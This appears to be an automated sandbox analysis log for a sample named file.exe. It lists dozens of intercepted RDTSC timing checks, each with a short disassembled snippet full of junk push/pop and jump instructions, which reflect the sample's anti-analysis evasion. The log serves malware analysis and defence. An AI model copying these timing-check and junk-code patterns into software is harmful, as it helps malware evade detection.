Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C268A second address: 10C26AB instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F4B2071E958h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C26AB second address: 10C26CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F4B20D90ACAh 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c pushad 0x0000000d push ecx 0x0000000e pop ecx 0x0000000f jg 00007F4B20D90AC6h 0x00000015 pushad 0x00000016 popad 0x00000017 jo 00007F4B20D90AC6h 0x0000001d popad 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C220B second address: 10C2211 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C2211 second address: 10C221A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C23C0 second address: 10C23C4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C49F6 second address: 10C4A09 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4B20D90ACFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C4A09 second address: 10C4A0E instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C4A0E second address: 10C4A17 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 push edx 0x00000008 pop edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C4B64 second address: 10C4B7F instructions: 0x00000000 rdtsc 0x00000002 jg 00007F4B2071E946h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007F4B2071E94Bh 0x0000000f popad 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C4B7F second address: 10C4B85 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C4B85 second address: 10C4B89 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10CD5D1 second address: 10CD5FA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4B20D90AD1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push esi 0x0000000a push ebx 0x0000000b pop ebx 0x0000000c pop esi 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 jl 00007F4B20D90AC6h 0x00000017 jne 00007F4B20D90AC6h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10CD5FA second address: 10CD60E instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 jp 00007F4B2071E946h 0x0000000d je 00007F4B2071E946h 0x00000013 pop eax 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10CD60E second address: 10CD61A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jnp 00007F4B20D90AC6h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10CD61A second address: 10CD61E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10D5D7D second address: 10D5D81 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10D5D81 second address: 10D5D8B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10D5BCA second address: 10D5BF9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4B20D90AD5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007F4B20D90AD6h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10D5BF9 second address: 10D5C03 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F4B2071E94Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10D5C03 second address: 10D5C16 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jmp 00007F4B20D90ACBh 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10D9101 second address: 10D9105 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10DD7FC second address: 10DD821 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pop ebx 0x00000006 pushad 0x00000007 jno 00007F4B20D90ADBh 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10DD821 second address: 10DD827 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10DDE76 second address: 10DDEAB instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F4B20D90AC6h 0x00000008 jmp 00007F4B20D90ACCh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f je 00007F4B20D90AD8h 0x00000015 pop esi 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 push edx 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10DDEAB second address: 10DDEB1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10DDEB1 second address: 10DDEBF instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push edi 0x0000000b pop edi 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10DDEBF second address: 10DDEC3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10DDEC3 second address: 10DDED8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4B20D90ACBh 0x00000007 jl 00007F4B20D90AC6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10DE028 second address: 10DE032 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jc 00007F4B2071E946h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10DE199 second address: 10DE1BD instructions: 0x00000000 rdtsc 0x00000002 jno 00007F4B20D90AC6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007F4B20D90AD6h 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10DEBBA second address: 10DEBC6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jl 00007F4B2071E946h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E2CD7 second address: 10E2CEB instructions: 0x00000000 rdtsc 0x00000002 jo 00007F4B20D90AC6h 0x00000008 jnc 00007F4B20D90AC6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E2CEB second address: 10E2CEF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E2806 second address: 10E280C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E280C second address: 10E2810 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E2810 second address: 10E2816 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E2816 second address: 10E282D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007F4B2071E94Eh 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E282D second address: 10E283C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b push edi 0x0000000c pop edi 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E283C second address: 10E2840 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E2840 second address: 10E2854 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F4B20D90AC6h 0x00000008 jmp 00007F4B20D90ACAh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E2854 second address: 10E285C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E285C second address: 10E2860 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F61F0 second address: 10F61F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F61F4 second address: 10F6203 instructions: 0x00000000 rdtsc 0x00000002 je 00007F4B20D90AC6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push ebx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F6203 second address: 10F6208 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F6208 second address: 10F621A instructions: 0x00000000 rdtsc 0x00000002 jg 00007F4B20D90ACCh 0x00000008 jne 00007F4B20D90AC6h 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F621A second address: 10F621E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11025B8 second address: 11025BE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11025BE second address: 11025CA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007F4B2071E946h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11026FA second address: 11026FE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11026FE second address: 1102721 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F4B2071E946h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push esi 0x0000000d push eax 0x0000000e pop eax 0x0000000f pop esi 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 jmp 00007F4B2071E94Fh 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 111D14F second address: 111D165 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F4B20D90AC6h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 jp 00007F4B20D90AC6h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 111D165 second address: 111D173 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jnp 00007F4B2071E948h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 111D2C3 second address: 111D2E9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4B20D90AD9h 0x00000007 jnc 00007F4B20D90AC6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push edi 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 111D579 second address: 111D57E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 111D57E second address: 111D5AF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 pushad 0x0000000a jmp 00007F4B20D90ACDh 0x0000000f jg 00007F4B20D90AC6h 0x00000015 js 00007F4B20D90AC6h 0x0000001b popad 0x0000001c pop edx 0x0000001d pop eax 0x0000001e je 00007F4B20D90AEBh 0x00000024 push edi 0x00000025 pushad 0x00000026 popad 0x00000027 push eax 0x00000028 push edx 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 111D8A4 second address: 111D8C9 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F4B2071E94Eh 0x00000008 push ecx 0x00000009 jp 00007F4B2071E946h 0x0000000f jnc 00007F4B2071E946h 0x00000015 pop ecx 0x00000016 pop edx 0x00000017 pop eax 0x00000018 push ebx 0x00000019 push eax 0x0000001a push edx 0x0000001b pushad 0x0000001c popad 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 111DA11 second address: 111DA18 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edi 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 111DC7F second address: 111DC8E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 je 00007F4B2071E946h 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 111DC8E second address: 111DCAA instructions: 0x00000000 rdtsc 0x00000002 jng 00007F4B20D90AC6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b pushad 0x0000000c push esi 0x0000000d jnp 00007F4B20D90AC6h 0x00000013 pop esi 0x00000014 jc 00007F4B20D90ACCh 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 111DCAA second address: 111DCB2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push esi 0x00000007 pop esi 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 111DE33 second address: 111DE37 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 111DE37 second address: 111DE3D instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1120A65 second address: 1120A6B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1120DB1 second address: 1120DBA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1120DBA second address: 1120DEC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 jmp 00007F4B20D90ACAh 0x0000000d nop 0x0000000e mov dh, 7Fh 0x00000010 push 00000004h 0x00000012 mov dword ptr [ebp+122D2735h], edi 0x00000018 call 00007F4B20D90AC9h 0x0000001d push eax 0x0000001e push edx 0x0000001f jmp 00007F4B20D90ACAh 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1120DEC second address: 1120DF2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 112112C second address: 112114C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jno 00007F4B20D90AD8h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 112114C second address: 1121152 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1121152 second address: 112117D instructions: 0x00000000 rdtsc 0x00000002 jp 00007F4B20D90AC6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov eax, dword ptr [esp+04h] 0x00000010 jmp 00007F4B20D90ACBh 0x00000015 mov eax, dword ptr [eax] 0x00000017 push eax 0x00000018 push edx 0x00000019 jno 00007F4B20D90ACCh 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11223C0 second address: 11223C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11223C4 second address: 11223C8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1123C9E second address: 1123CC7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F4B2071E951h 0x00000009 popad 0x0000000a ja 00007F4B2071E94Ch 0x00000010 pop edi 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1123CC7 second address: 1123CCD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1123CCD second address: 1123CD1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1123CD1 second address: 1123CF2 instructions: 0x00000000 rdtsc 0x00000002 js 00007F4B20D90AC6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007F4B20D90AD7h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1123CF2 second address: 1123D08 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F4B2071E94Ch 0x00000009 jns 00007F4B2071E946h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1125D64 second address: 1125D68 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1125D68 second address: 1125D84 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F4B2071E94Ch 0x00000009 pop edx 0x0000000a pop eax 0x0000000b popad 0x0000000c push ecx 0x0000000d push eax 0x0000000e push edx 0x0000000f ja 00007F4B2071E946h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B20018 second address: 4B2001E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B2001E second address: 4B20022 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B20022 second address: 4B20026 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B20026 second address: 4B20054 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], ebp 0x0000000b jmp 00007F4B2071E94Fh 0x00000010 mov ebp, esp 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 mov bh, 6Dh 0x00000017 jmp 00007F4B2071E94Ch 0x0000001c popad 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B00E79 second address: 4B00E7F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B00E7F second address: 4B00E85 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B00E85 second address: 4B00E94 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B00E94 second address: 4B00E98 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B00E98 second address: 4B00EAF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4B20D90AD3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B00EAF second address: 4B00ED3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ch, dl 0x00000005 push esi 0x00000006 pop edi 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov ebp, esp 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F4B2071E954h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B00ED3 second address: 4B00EE2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4B20D90ACBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B00EE2 second address: 4B00EE8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B00EE8 second address: 4B00EEC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B00EEC second address: 4B00EF0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B40F22 second address: 4B40F28 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B40F28 second address: 4B40F2C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AE0125 second address: 4AE0154 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov edx, eax 0x00000006 popad 0x00000007 mov al, 8Ch 0x00000009 popad 0x0000000a mov ebp, esp 0x0000000c jmp 00007F4B20D90AD7h 0x00000011 push dword ptr [ebp+04h] 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 mov ecx, ebx 0x00000019 movsx edi, cx 0x0000001c popad 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AE0154 second address: 4AE015A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AE015A second address: 4AE0185 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4B20D90ACBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push dword ptr [ebp+0Ch] 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F4B20D90AD5h 0x00000015 rdtsc
